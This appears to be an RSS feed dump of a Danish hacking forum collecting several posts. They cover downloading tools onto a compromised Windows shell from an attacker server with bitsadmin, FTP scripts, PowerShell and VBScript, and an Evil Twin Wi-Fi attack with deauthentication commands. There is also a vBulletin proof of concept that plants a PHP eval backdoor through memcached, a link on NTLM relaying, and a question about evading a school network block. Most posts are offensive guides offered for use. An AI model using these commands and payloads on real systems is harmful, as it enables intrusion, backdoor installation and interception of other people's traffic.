<span style="font-weight: bold;" class="mycode_b">{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' TRANSFERRED 1 / 1 50176 / 50176<br />
Listed 1 job(s).</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /complete SomeJob</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Job completed.</span><br />
<br />
C:\Users\John Doe\tmp&gt;dir | find "sbd.exe"<br />
11-10-2015  00:57            50.176 sbd.exe<br />
<br />
C:\Users\John Doe\tmp&gt;</blockquote>
<br />
Man skal selvfølgelig have en server, at hente filerne fra.<br />
Om man starter en minimalistisk webserver med "python -m SimpleHTTPServer 80", eller bruger en full blown webserver, burde ikke gøre nogen forskel. Jeg brugte Apache2.<br />
En ting man skal være opmærksom på, er at filen ikke ligger i destinationsfolderen før man completer jobbet.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Så fremgangsmåden er:</span><br />
1) Lav et job med "bitsadmin /create"<br />
2) Tilføj en fil til jobbet med "bitsadmin /addfile"<br />
3) Sæt jobbet i gang med "bitsadmin /resume"<br />
- Disse jobs er i suspended mode, når de er lavet. Så man kan smide filere filer i, inden det kører.<br />
4) Når downloaden er færdig, sættes jobbet completed med "bitsadmin /complete"<br />
<br />
"SomeJob" er jobbets navn, og er tilfældigt valgt. Man kan have flere jobs kørende på een gang. Man kan godt bruge samme navn til flere jobs, men så kan man ikke længere bruge jobnavnet, men i stedet "{3C523925-381F-468D-BB7C-78049B35F9F3}", i dette tilfælde.<br />
Kommandoen "bitsadmin /list", viser en liste over jobs.<br />
En anden kommando, der kan være interessant, er "bitsadmin /monitor", da den viser hvor langt, jobbet er kommet. Men den opdaterer sig selv og skal afbrydes med CTRL^C, så den er ikke så praktisk i en kommandoprompt. Slet ikke, hvis man kun har en enkelt prompt. Så er det bedre at benytte sig af outputtet fra "bitsadmin /list", for at se, om filen er hentet.<br />
<br />
Skal man kun overføre en enkelt fil, kan det nok gøres med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\test&gt;bitsadmin.exe /transfer SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\sbd.exe"</blockquote>
<br />
Gåseøjne er kun nødvendig, hvis man har et eller flere mellemrum, et sted i sti/fil navnet.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Mere:</span><br />
En af de ting, jeg synes der er smart ved BITSAdmin Tool, er at man kan adde flere filer til et job. Man kan bare gentage "bitsadmin /addfile" kommandoen.<br />
Det er også asynkront, så det blokerer ikke din prompt, mens man venter, i tilfælde af, det er en stor fil man downloader.<br />
<br />
Man kan gøre det på flere måder med PowerShell, men nogle af dem er versionsafhængig.<br />
Her er et eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&#36;client = new-object System.Net.WebClient<br />
&#36;client.DownloadFile( "http://10.0.2.11/", "sbd.exe" )</blockquote>
<br />
Her er et VBScript eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")<br />
dim bStrm: Set bStrm = createobject("Adodb.Stream")<br />
xHttp.Open "GET", "http://10.0.2.11/sbd.exe", False<br />
xHttp.Send<br />
<br />
with bStrm<br />
   .type = 1 '//binary<br />
   .open<br />
   .write xHttp.responseBody<br />
   .savetofile "c:\Users\test\sbd.exe", 2 '//overwrite<br />
end with</blockquote>
Ovenstående gemmes f.eks. i "get.vbs" og startes med "c:\&gt;cscript get.vbs".<br />
Begge eksempler er respektløst stjålet fra nettet.<br />
<br />
VBScripts skal køres fra en fil, så det letteste er nok at gøre som med FTP scriptet, og paste det ind i kommando prompten.<br />
Altså bruge "echo" og pipe indholdet ud i en fil med "&gt;" eller "&gt;&gt;". Jeg bruger altid "&gt;" på den første linie, så jeg overskriver den lokale fil, hvis jeg paster igen, og så "&gt;&gt;" på resten.<br />
Det er meget rart, hvis man får lavet en fejl.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Links:</span><br />
<a href="https://msdn.microsoft.com/en-us/library/aa362813%28v=vs.85%29.aspx" target="_blank" rel="noopener" class="mycode_url">BITSAdmin Tool - MSDN</a><br />
<a href="http://stackoverflow.com/questions/2973136/download-a-file-with-vbs" target="_blank" rel="noopener" class="mycode_url">VBS Download</a><br />
<a href="http://superuser.com/questions/362152/native-alternative-to-wget-in-windows-powershell" target="_blank" rel="noopener" class="mycode_url">PowerShell Download</a><br />
<br />
Ja, det er rigtigt. Den har været i VIP sektionen, men jeg har brugt tid på at skrive den, så kan det være nogen her kan bruge den. :)]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Mål:</span><br />
Hvis man får adgang til en Linux shell, er det ofte rimelig trivielt at downloade yderligere værktøjer til maskinen. curl, wget, ftp, tftp osv., er ofte tilgængelige.<br />
På windows er det en lidt anden sag.<br />
Er man på en windows XP maskine, er der en god chance for, der f.eks. er en ftp klient, men nyere windows har ikke disse tools installeret som standard.<br />
Ellers ender man ofte med at paste et Powershell, eller VBScript over i kommando prompten, for at kunne downloade filer. Ja, der er selvfølgelig andre måder at gøre det på. F.eks. kan man gøre det med Internet Explorer, men det er synligt for brugeren, der sidder ved maskinen.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Udfordring:</span><br />
Ofte er den kommandoprompt man får, ikke rigtig interaktiv, hvis man f.eks. benytter Metasploit til at spawne den, så man kan ikke tale med en "ftp" prompt.<br />
Skal man hente filer via ftp på en XP maskine, vil man skrive noget ala:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Documents and Settings\test&gt;ftp 10.0.2.11<br />
Connected to 10.0.2.11.<br />
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------<br />
220-You are user number 1 of 50 allowed.<br />
220-Local time is now 23:58. Server port: 21.<br />
220-This is a private system - No anonymous login<br />
220-IPv6 connections are also welcome on this server.<br />
220 You will be disconnected after 15 minutes of inactivity.<br />
User (10.0.2.11:(none)): infosec<br />
331 User infosec OK. Password required<br />
Password:<br />
230 OK. Current directory is /<br />
ftp&gt; bye<br />
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.<br />
221 Logout.<br />
<br />
C:\Documents and Settings\test&gt;</blockquote>
<br />
Men her kommer problemet med at kommandoprompten ofte, ikke er rigtig interaktiv, så man når aldrig at udstede en GET kommando. Som jeg så har misset oven over, kan jeg se!<br />
Du får lov at give brugernavnet, men når FTP serveren beder om en kode, hænger det hele.<br />
Heldigvis har ftp klienten til Windows en -s switch, som gør, vi kan angive en fil, som agerer input for os.<br />
Så hvis man paster følgende ind i kommandoprompten, får man en ftpcmd.txt fil, som ftp så bliver aktieret med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>echo open 10.0.2.11&gt;ftpcmd.txt<br />
echo infosec&gt;&gt;ftpcmd.txt<br />
echo SomePassword&gt;&gt;ftpcmd.txt<br />
echo bin&gt;&gt;ftpcmd.txt<br />
echo GET plink.exe&gt;&gt;ftpcmd.txt<br />
echo bye&gt;&gt;ftpcmd.txt<br />
ftp -s:ftpcmd.txt<br />
del ftpcmd.txt</blockquote>
<br />
Ovenstående åbner en FTP forbindelse til 10.0.2.11 med brugeren infosec og koden SomePassword.<br />
Der efter henter den filen plink.exe fra FTP serveren og sletter ftpcmd.txt filen.<br />
Man kan overveje om man vil smide /F eller /Q på "del" kommandoen i scriptet. <br />
Så man kan rette tingene til, som man synes.<br />
Kig lidt på ovenstående og læg mærke til "echo" kommandoerne og output redirection med "&gt;" og "&gt;&gt;".<br />
<br />
Filen ftpcmd.txt vil se ud som her:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>open 10.0.2.11<br />
infosec<br />
SomePassword<br />
bin<br />
GET plink.exe<br />
bye</blockquote>
<br />
Filen vil blive eksekveret af "ftp -s:ftpcmd.txt" og efterfølgende slettet af "del ftpcmd.txt", de to sidste kommandoer i vores paste.<br />
Man kan gøre som ovenstående med andre scripts og få det samme ud af det.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Problemet:</span><br />
Måske er der ikke åben på port 21 i firewall egress regler, eller måske er FTP klienten ikke installeret, eller hvad det nu måtte være.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Løsning:</span><br />
Jeg skal ikke bruge ordet alle, men som i ved, så har lagt de fleste maskiner adgang til Internettet på port 80.<br />
Som nævnt tidligere, kan man snilt finde et script på nettet, der kan gøre det, og jeg har selv gjort det sådan i lang tid. Jeg faldt så over BITSAdmin Tool, som er bygget ind i windows. Det er deprecated, men det findes, selv i Windows 10, og virker fint.<br />
<br />
Jeg vil ikke skrive så meget om, værktøjet i sig selv, da jeg har posted et link til Microsoft, hvor det er beskrevet.<br />
Jeg vil dog nævne, det virker ved, man laver et "job", som i kan se her under, hvor jeg downloader sbd.exe filen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\John Doe\tmp&gt;dir | find "sbd.exe"<br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /create /download SomeJob</span><br />
<br />
BITSADMIN version 3.0 [ 7.5.7601 ]<br />
BITS administration utility.<br />
&copy; Copyright 2000-2006 Microsoft Corp.<br />
<br />
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.<br />
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Created job {3C523925-381F-468D-BB7C-78049B35F9F3}.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /addfile SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\tmp\sbd.exe"</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Added <a href="http://10.0.2.11/sbd.exe" target="_blank" rel="noopener" class="mycode_url">http://10.0.2.11/sbd.exe</a> -&gt; C:\Users\John Doe\tmp\sbd.exe to job.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /list</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' SUSPENDED 0 / 1 0 / UNKNOWN<br />
Listed 1 job(s).</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /resume SomeJob</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Job resumed.</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /list</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' TRANSFERRED 1 / 1 50176 / 50176<br />
Listed 1 job(s).</span><br />
<br />
C:\Users\John Doe\tmp&gt;<span style="font-weight: bold;" class="mycode_b">bitsadmin /complete SomeJob</span><br />
...crop...<br />
<span style="font-weight: bold;" class="mycode_b">Job completed.</span><br />
<br />
C:\Users\John Doe\tmp&gt;dir | find "sbd.exe"<br />
11-10-2015  00:57            50.176 sbd.exe<br />
<br />
C:\Users\John Doe\tmp&gt;</blockquote>
<br />
Man skal selvfølgelig have en server, at hente filerne fra.<br />
Om man starter en minimalistisk webserver med "python -m SimpleHTTPServer 80", eller bruger en full blown webserver, burde ikke gøre nogen forskel. Jeg brugte Apache2.<br />
En ting man skal være opmærksom på, er at filen ikke ligger i destinationsfolderen før man completer jobbet.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Så fremgangsmåden er:</span><br />
1) Lav et job med "bitsadmin /create"<br />
2) Tilføj en fil til jobbet med "bitsadmin /addfile"<br />
3) Sæt jobbet i gang med "bitsadmin /resume"<br />
- Disse jobs er i suspended mode, når de er lavet. Så man kan smide filere filer i, inden det kører.<br />
4) Når downloaden er færdig, sættes jobbet completed med "bitsadmin /complete"<br />
<br />
"SomeJob" er jobbets navn, og er tilfældigt valgt. Man kan have flere jobs kørende på een gang. Man kan godt bruge samme navn til flere jobs, men så kan man ikke længere bruge jobnavnet, men i stedet "{3C523925-381F-468D-BB7C-78049B35F9F3}", i dette tilfælde.<br />
Kommandoen "bitsadmin /list", viser en liste over jobs.<br />
En anden kommando, der kan være interessant, er "bitsadmin /monitor", da den viser hvor langt, jobbet er kommet. Men den opdaterer sig selv og skal afbrydes med CTRL^C, så den er ikke så praktisk i en kommandoprompt. Slet ikke, hvis man kun har en enkelt prompt. Så er det bedre at benytte sig af outputtet fra "bitsadmin /list", for at se, om filen er hentet.<br />
<br />
Skal man kun overføre en enkelt fil, kan det nok gøres med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\test&gt;bitsadmin.exe /transfer SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\sbd.exe"</blockquote>
<br />
Gåseøjne er kun nødvendig, hvis man har et eller flere mellemrum, et sted i sti/fil navnet.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Mere:</span><br />
En af de ting, jeg synes der er smart ved BITSAdmin Tool, er at man kan adde flere filer til et job. Man kan bare gentage "bitsadmin /addfile" kommandoen.<br />
Det er også asynkront, så det blokerer ikke din prompt, mens man venter, i tilfælde af, det er en stor fil man downloader.<br />
<br />
Man kan gøre det på flere måder med PowerShell, men nogle af dem er versionsafhængig.<br />
Her er et eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&#36;client = new-object System.Net.WebClient<br />
&#36;client.DownloadFile( "http://10.0.2.11/", "sbd.exe" )</blockquote>
<br />
Her er et VBScript eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")<br />
dim bStrm: Set bStrm = createobject("Adodb.Stream")<br />
xHttp.Open "GET", "http://10.0.2.11/sbd.exe", False<br />
xHttp.Send<br />
<br />
with bStrm<br />
   .type = 1 '//binary<br />
   .open<br />
   .write xHttp.responseBody<br />
   .savetofile "c:\Users\test\sbd.exe", 2 '//overwrite<br />
end with</blockquote>
Ovenstående gemmes f.eks. i "get.vbs" og startes med "c:\&gt;cscript get.vbs".<br />
Begge eksempler er respektløst stjålet fra nettet.<br />
<br />
VBScripts skal køres fra en fil, så det letteste er nok at gøre som med FTP scriptet, og paste det ind i kommando prompten.<br />
Altså bruge "echo" og pipe indholdet ud i en fil med "&gt;" eller "&gt;&gt;". Jeg bruger altid "&gt;" på den første linie, så jeg overskriver den lokale fil, hvis jeg paster igen, og så "&gt;&gt;" på resten.<br />
Det er meget rart, hvis man får lavet en fejl.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Links:</span><br />
<a href="https://msdn.microsoft.com/en-us/library/aa362813%28v=vs.85%29.aspx" target="_blank" rel="noopener" class="mycode_url">BITSAdmin Tool - MSDN</a><br />
<a href="http://stackoverflow.com/questions/2973136/download-a-file-with-vbs" target="_blank" rel="noopener" class="mycode_url">VBS Download</a><br />
<a href="http://superuser.com/questions/362152/native-alternative-to-wget-in-windows-powershell" target="_blank" rel="noopener" class="mycode_url">PowerShell Download</a><br />
<br />
Ja, det er rigtigt. Den har været i VIP sektionen, men jeg har brugt tid på at skrive den, så kan det være nogen her kan bruge den. :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Wi-Fi Pentesting - Evil Twin Attack]]></title>
			<link>https://www.shellsec.pw/traad-wi-fi-pentesting-evil-twin-attack</link>
			<pubDate>Wed, 26 Aug 2015 00:49:14 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-wi-fi-pentesting-evil-twin-attack</guid>
			<description><![CDATA[Jeg havde lige denne her guide liggende omkring et simpelt Evil Twin angreb.<br />
<br />
Hvad er et Evil Twin angreb? <br />
<br />
Evil Twin (Ond tvilling) er et Wi-Fi Access point som ser ud til at være et legitimt Access Point, men faktisk er oprettet for at aflytte trådløs kommunikation. Denne form for angreb minder meget om phishing, bare på trådløs version. Fordi her vil angriberen udgive sig for at være en legitim udbyder og dermed narre de trådløse brugere til at forbinde sig til angriberens bærbar, smartphone eller andet. <br />
<br />
Hvordan udføres et Evil Twin angreb?<br />
<br />
Der er flere måder på at gøre det både mht. kreativitet og raffinement.<br />
Fyr op for airmon-ng værktøjet og start med at sniffe trafikken rundt omkring dig i luften. Sørg for at have et netkort der kan indstilles til monitor mode via airmon-ng. <br />
<br />
For at sniffe rundt omkring dig bruger du kommandoen:<br />
<br />
-	airodump-ng mon0<br />
<br />
Herfra vil du se Access Points rundt omkring dig. Du vælger hermed den valgte Access Point, du ønsker at klone dig med. Dette kan du gøre ved at opsætte et falsk Access Point via airbase-ng:<br />
<br />
-	airbase-ng -a --essid "Her skriver du SSID’en af den valgte Access Point" -c (her vælger du den specifikke kanal access pointen opererer under) mon0<br />
<br />
Nu har vi opsat en falsk Access Point, der skulle forestille sig at være en smule identisk med offerets Access Point.<br />
<br />
Det vi ønsker er, at på en eller anden måde tvinge offerets maskine til at bryde sin forbindelse og dermed få maskinen til at forbinde sig til vores falske Access Point, i stedet for den rigtige. Det kan så gøres med forskellige teknikker. En af dem er, at vi aktivt bryder forbindelsen mellem den legitimerede klient (som er vores offer) og den legitimerede Access Point via deauthentications pakker vha. aireplay-ng:<br />
<br />
-	aireplay-ng –deauth 0 –a (“BSSID’en af den valgte Access Point”)<br />
<br />
Her kommer så det afgørende og vigtige led: Hvis vores falske Access Points signal er stærkere, vil offerets maskine automatisk genoprette forbindelse til vores falske AP. <br />
<br />
Når forbindelsen er etableret, har du en masse muligheder. Man-In-The-Middle attacks, SSL Man-in-the-middle attacks, Social Engineering Toolkit, Metasploit, Nmap osv.<br />
<br />
Svaghed ved denne angrebsform? <br />
<br />
Vi skal sørge for, at vores falske AP er tættere eller stærkere end den oprindelige AP. Dette kunne være en kritisk svaghed, når fysisk adgang ikke er tilgængelig. I coffeeshops, lufthavne og andre offentlige steder som bruger open authentication er det ikke det store problem. Men har vi ikke fysisk adgang har offerets oprindelige AP højst sandsynligt et tættere og stærkere signal end vores falske kan tilbyde. Evt. kunne man tune op for styrken af sit netkort.  :)]]></description>
			<content:encoded><![CDATA[Jeg havde lige denne her guide liggende omkring et simpelt Evil Twin angreb.<br />
<br />
Hvad er et Evil Twin angreb? <br />
<br />
Evil Twin (Ond tvilling) er et Wi-Fi Access point som ser ud til at være et legitimt Access Point, men faktisk er oprettet for at aflytte trådløs kommunikation. Denne form for angreb minder meget om phishing, bare på trådløs version. Fordi her vil angriberen udgive sig for at være en legitim udbyder og dermed narre de trådløse brugere til at forbinde sig til angriberens bærbar, smartphone eller andet. <br />
<br />
Hvordan udføres et Evil Twin angreb?<br />
<br />
Der er flere måder på at gøre det både mht. kreativitet og raffinement.<br />
Fyr op for airmon-ng værktøjet og start med at sniffe trafikken rundt omkring dig i luften. Sørg for at have et netkort der kan indstilles til monitor mode via airmon-ng. <br />
<br />
For at sniffe rundt omkring dig bruger du kommandoen:<br />
<br />
-	airodump-ng mon0<br />
<br />
Herfra vil du se Access Points rundt omkring dig. Du vælger hermed den valgte Access Point, du ønsker at klone dig med. Dette kan du gøre ved at opsætte et falsk Access Point via airbase-ng:<br />
<br />
-	airbase-ng -a --essid "Her skriver du SSID’en af den valgte Access Point" -c (her vælger du den specifikke kanal access pointen opererer under) mon0<br />
<br />
Nu har vi opsat en falsk Access Point, der skulle forestille sig at være en smule identisk med offerets Access Point.<br />
<br />
Det vi ønsker er, at på en eller anden måde tvinge offerets maskine til at bryde sin forbindelse og dermed få maskinen til at forbinde sig til vores falske Access Point, i stedet for den rigtige. Det kan så gøres med forskellige teknikker. En af dem er, at vi aktivt bryder forbindelsen mellem den legitimerede klient (som er vores offer) og den legitimerede Access Point via deauthentications pakker vha. aireplay-ng:<br />
<br />
-	aireplay-ng –deauth 0 –a (“BSSID’en af den valgte Access Point”)<br />
<br />
Her kommer så det afgørende og vigtige led: Hvis vores falske Access Points signal er stærkere, vil offerets maskine automatisk genoprette forbindelse til vores falske AP. <br />
<br />
Når forbindelsen er etableret, har du en masse muligheder. Man-In-The-Middle attacks, SSL Man-in-the-middle attacks, Social Engineering Toolkit, Metasploit, Nmap osv.<br />
<br />
Svaghed ved denne angrebsform? <br />
<br />
Vi skal sørge for, at vores falske AP er tættere eller stærkere end den oprindelige AP. Dette kunne være en kritisk svaghed, når fysisk adgang ikke er tilgængelig. I coffeeshops, lufthavne og andre offentlige steder som bruger open authentication er det ikke det store problem. Men har vi ikke fysisk adgang har offerets oprindelige AP højst sandsynligt et tættere og stærkere signal end vores falske kan tilbyde. Evt. kunne man tune op for styrken af sit netkort.  :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Skole blokker programmer]]></title>
			<link>https://www.shellsec.pw/traad-skole-blokker-programmer</link>
			<pubDate>Thu, 20 Aug 2015 14:40:32 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-skole-blokker-programmer</guid>
			<description><![CDATA[Hey alle. Jeg har et program jeg gerne vil køre på min computer når jeg sidder på min skole. Men så længe jeg er på deres net så får det ikke adgang til at komme online. Hvordan kan jeg komme udenom den block og sørge for at det kan komme online?]]></description>
			<content:encoded><![CDATA[Hey alle. Jeg har et program jeg gerne vil køre på min computer når jeg sidder på min skole. Men så længe jeg er på deres net så får det ikke adgang til at komme online. Hvordan kan jeg komme udenom den block og sørge for at det kan komme online?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[vBulletin < 4.2.2 rce "0day" (source: fd)]]></title>
			<link>https://www.shellsec.pw/traad-vbulletin-4-2-2-rce-0day-source-fd</link>
			<pubDate>Tue, 18 Aug 2015 21:38:12 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-vbulletin-4-2-2-rce-0day-source-fd</guid>
			<description><![CDATA[Source: <a href="http://seclists.org/fulldisclosure/2015/Aug/58" target="_blank" rel="noopener" class="mycode_url">http://seclists.org/fulldisclosure/2015/Aug/58</a><br />
<br />
Denne er ikke ny, men jeg kendte personlig ikke til den før jeg læste den på FullDisclosure:<br />
<br />
Status: Fixed in some versions.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4. The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.<br />
<br />
On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.<br />
<br />
Proof-of-Concept using cURL:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&#36; curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic&amp;apos; -H 'Cookie: bb_userid=2; <br />
bb_password=926944640049f505370a38250f22ae57' --data&nbsp;&nbsp;'do=updateprofilepic&amp;securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&amp;avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png&amp;apos;</code></div></div><br />
This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>HEAD /<br />
set pluginlist 0 0 96<br />
a:1:{s:12:"global_start";s:62:"if(isset(&#36;_REQUEST['eval'])){eval(&#36;_REQUEST['eval']);die();}<br />
";}<br />
quit<br />
.png HTTP/1.0<br />
Host: localhost<br />
User-Agent: vBulletin via PHP<br />
Connection: close</code></div></div><br />
This will cause the Memcached to update the `pluginlist` to contain the malicious code.</blockquote>
<br />
GENIALT!]]></description>
			<content:encoded><![CDATA[Source: <a href="http://seclists.org/fulldisclosure/2015/Aug/58" target="_blank" rel="noopener" class="mycode_url">http://seclists.org/fulldisclosure/2015/Aug/58</a><br />
<br />
Denne er ikke ny, men jeg kendte personlig ikke til den før jeg læste den på FullDisclosure:<br />
<br />
Status: Fixed in some versions.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4. The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.<br />
<br />
On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.<br />
<br />
Proof-of-Concept using cURL:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&#36; curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic&amp;apos; -H 'Cookie: bb_userid=2; <br />
bb_password=926944640049f505370a38250f22ae57' --data&nbsp;&nbsp;'do=updateprofilepic&amp;securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&amp;avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png&amp;apos;</code></div></div><br />
This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>HEAD /<br />
set pluginlist 0 0 96<br />
a:1:{s:12:"global_start";s:62:"if(isset(&#36;_REQUEST['eval'])){eval(&#36;_REQUEST['eval']);die();}<br />
";}<br />
quit<br />
.png HTTP/1.0<br />
Host: localhost<br />
User-Agent: vBulletin via PHP<br />
Connection: close</code></div></div><br />
This will cause the Memcached to update the `pluginlist` to contain the malicious code.</blockquote>
<br />
GENIALT!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[MLT's guide - NTLM relaying methods]]></title>
			<link>https://www.shellsec.pw/traad-mlt-s-guide-ntlm-relaying-methods</link>
			<pubDate>Tue, 07 Jul 2015 20:40:11 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-mlt-s-guide-ntlm-relaying-methods</guid>
			<description><![CDATA[Der er flere forskellige teknikker over, hvordan man kan få adgang til en maskine på administrator-niveau.<br />
<br />
Pass-the-hash, Pass-the-Kerberos mv. er ret populære teknikker. Sagen er den, at pass-the-hash fx kræver, at man allerede har administrator rettigheder lokalt før man kan benytte sig af denne metode. <br />
<br />
Nedenfor har jeg så delt et link som handler om en mere upopulær teknik der demonstrerer via teori og teknik, hvordan man kan få admin rettigheder via en almindelig user eller såfremt en guest user. MLT, som er selve nicknamet af personen der har researchet omkring dette emne, mener, at angrebet kan udføres både remotely og lokalt. De fleste windows versioner er ramte inklusiv windows 8.1 og windows 2012<br />
<br />
Teknikken hedder NTLM relaying. <br />
<br />
Al credits går til ham :).<br />
<br />
<a href="https://1mlt.wordpress.com/2014/11/03/breaking-the-ntlm-hash-localremote-ntlm-relaying-methods/" target="_blank" rel="noopener" class="mycode_url">https://1mlt.wordpress.com/2014/11/03/br...g-methods/</a>]]></description>
			<content:encoded><![CDATA[Der er flere forskellige teknikker over, hvordan man kan få adgang til en maskine på administrator-niveau.<br />
<br />
Pass-the-hash, Pass-the-Kerberos mv. er ret populære teknikker. Sagen er den, at pass-the-hash fx kræver, at man allerede har administrator rettigheder lokalt før man kan benytte sig af denne metode. <br />
<br />
Nedenfor har jeg så delt et link som handler om en mere upopulær teknik der demonstrerer via teori og teknik, hvordan man kan få admin rettigheder via en almindelig user eller såfremt en guest user. MLT, som er selve nicknamet af personen der har researchet omkring dette emne, mener, at angrebet kan udføres både remotely og lokalt. De fleste windows versioner er ramte inklusiv windows 8.1 og windows 2012<br />
<br />
Teknikken hedder NTLM relaying. <br />
<br />
Al credits går til ham :).<br />
<br />
<a href="https://1mlt.wordpress.com/2014/11/03/breaking-the-ntlm-hash-localremote-ntlm-relaying-methods/" target="_blank" rel="noopener" class="mycode_url">https://1mlt.wordpress.com/2014/11/03/br...g-methods/</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Guide til google dorking]]></title>
			<link>https://www.shellsec.pw/traad-guide-til-google-dorking</link>
			<pubDate>Wed, 24 Jun 2015 20:57:54 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-guide-til-google-dorking</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Hvad er google dorking?</span></span></span></span><br />
<br />
Google dorking er ganske enkelt, at man bruger specifikke søgninger via google til eksempelvis at identificere sårbarheder på nettet, samle informationer mod sit mål, eller finde offentligt tilgængelige filer, der ikke bevist skal være tilgængelige (eksempelvis backup, sql dumps, konfigurationsfiler o.l). I denne guide vil jeg give en hurtig introduktion til simpel, men effektiv google dorking på begyndervenligt niveau med en række eksempler til at vise, hvor effektivt google dorking kan være. <br />
